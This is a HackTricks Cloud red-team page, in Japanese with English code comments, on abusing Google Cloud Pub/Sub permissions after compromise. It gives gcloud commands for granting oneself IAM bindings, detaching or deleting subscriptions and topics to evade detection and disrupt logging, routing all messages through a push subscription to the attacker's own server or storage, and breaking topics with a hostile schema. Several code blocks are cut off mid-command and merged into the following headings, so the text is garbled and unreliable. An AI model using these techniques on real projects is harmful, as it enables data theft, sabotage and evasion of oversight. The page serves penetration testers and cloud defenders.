GCP - Pub/Sub Post Exploitation
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Pub/Sub
For more information about Pub/Sub check the following page:
pubsub.topics.publish
トピックにメッセージを公開します。予期しないデータを送信するのに有用で、予期しない機能をトリガーしたり脆弱性を悪用したりするために使えます:
トピックにメッセージを公開
```bash # Publish a message in a topic gcloud pubsub topics publishpubsub.topics.detachSubscription
サブスクリプションがメッセージを受信するのを防ぐのに有用で、検出を回避するために使うことがあります。
トピックからサブスクリプションを切り離す
```bash gcloud pubsub topics detach-subscriptionpubsub.topics.delete
サブスクリプションがメッセージを受信するのを防ぎ、検出を回避するのに有用です。
サブスクリプションが紐づいている状態でもトピックを削除できます。
トピックを削除
```bash gcloud pubsub topics deletepubsub.topics.update
この権限を使用して、トピックの設定の一部を更新し妨害するために使います。例えば --clear-schema-settings、--message-retention-duration、--message-storage-policy-allowed-regions、--schema、--schema-project、--topic-encryption-key…
pubsub.topics.setIamPolicy
自分に権限を付与して、前述のいずれの攻撃も実行できるようにします。
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)
ウェブサーバーで全てのメッセージを取得する:
メッセージを受信するための push subscription を作成する
```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions createサブスクリプションを作成し、それを使って pull messages:
pull subscription を作成してメッセージを取得する
```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions createYou also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull
This command will wait for a message to be posted
</details>
### `pubsub.subscriptions.delete`
**サブスクリプションの削除**は、ログ処理システムの妨害などに有用な場合があります:
<details>
<summary>サブスクリプションを削除</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
pubsub.subscriptions.update
この権限を使って、メッセージが自分でアクセスできる場所(URL, Big Query table, Bucket)に保存されるよう設定を更新したり、単に妨害したりできます。
サブスクリプションの更新エンドポイント
```bash gcloud pubsub subscriptions update --push-endpointpubsub.subscriptions.setIamPolicy
前述の攻撃のいずれかを実行するために必要な権限を自分に付与します。
pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)
スキーマをトピックにアタッチして、メッセージがそれを満たさなくなり、その結果トピックが中断されるようにします。
スキーマが存在しない場合は、新しく作成する必要があるかもしれません。
スキーマファイルを作成してトピックにアタッチする
```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
pubsub.schemas.delete
schema を削除すると schema に適合しない message を送信できるように見えるかもしれません。しかし、schema が削除されると実際にはどの message も topic に入らないため、これは役に立ちません:
Delete schema (not useful)
```bash gcloud pubsub schemas deletepubsub.schemas.setIamPolicy
前述のいずれかの攻撃を実行するために必要な権限を自分に付与します。
pubsub.snapshots.create, pubsub.snapshots.seek
これは、すべての unACKed メッセージのスナップショットを作成してサブスクリプションに戻します。攻撃者にはあまり有用ではありませんが、参考までに:
スナップショットを作成してそこにシークする
```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks Cloud

